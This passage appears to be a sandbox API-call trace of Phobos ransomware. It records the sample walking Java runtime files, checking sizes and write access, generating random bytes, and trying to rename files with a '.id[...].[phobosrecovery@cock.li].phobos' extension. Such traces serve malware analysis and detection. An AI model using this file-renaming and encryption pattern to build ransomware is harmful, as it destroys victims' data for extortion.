[0150.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.652] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.652] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=31808) returned 1 [0150.652] CloseHandle (hObject=0x580) returned 1 [0150.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0150.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.653] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=255040) returned 1 [0150.653] CloseHandle (hObject=0x580) returned 1 [0150.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0150.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.654] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=16448) returned 1 [0150.654] CloseHandle (hObject=0x580) returned 1 [0150.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0150.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.655] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=79936) returned 1 [0150.655] CloseHandle (hObject=0x580) returned 1 [0150.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0150.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.656] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=197184) returned 1 [0150.657] CloseHandle (hObject=0x580) returned 1 [0150.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0150.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.657] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.657] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=49216) returned 1 [0150.657] CloseHandle (hObject=0x580) returned 1 [0150.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0150.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.658] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24128) returned 1 [0150.658] CloseHandle (hObject=0x580) returned 1 [0150.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0150.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.659] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=110144) returned 1 [0150.659] CloseHandle (hObject=0x580) returned 1 [0150.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0150.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.659] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.660] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=192576) returned 1 [0150.660] CloseHandle (hObject=0x580) returned 1 [0150.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0150.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.660] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.660] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77888) returned 1 [0150.660] CloseHandle (hObject=0x580) returned 1 [0150.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0150.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.662] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3244) returned 1 [0150.662] CloseHandle (hObject=0x580) returned 1 [0150.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0150.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.662] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.663] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=149) returned 1 [0150.663] CloseHandle (hObject=0x580) returned 1 [0150.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0150.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.663] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.664] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=634) returned 1 [0150.664] CloseHandle (hObject=0x580) returned 1 [0150.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0150.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.666] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.666] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1378) returned 1 [0150.666] CloseHandle (hObject=0x580) returned 1 [0150.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0150.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.667] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.667] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3036922) returned 1 [0150.667] CloseHandle (hObject=0x580) returned 1 [0150.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0150.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0 [0150.668] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.668] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=84355) returned 1 [0150.668] CloseHandle (hObject=0x580) returned 1 [0150.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0150.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.669] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.669] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=51236) returned 1 [0150.669] CloseHandle (hObject=0x580) returned 1 [0150.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0150.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.670] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, 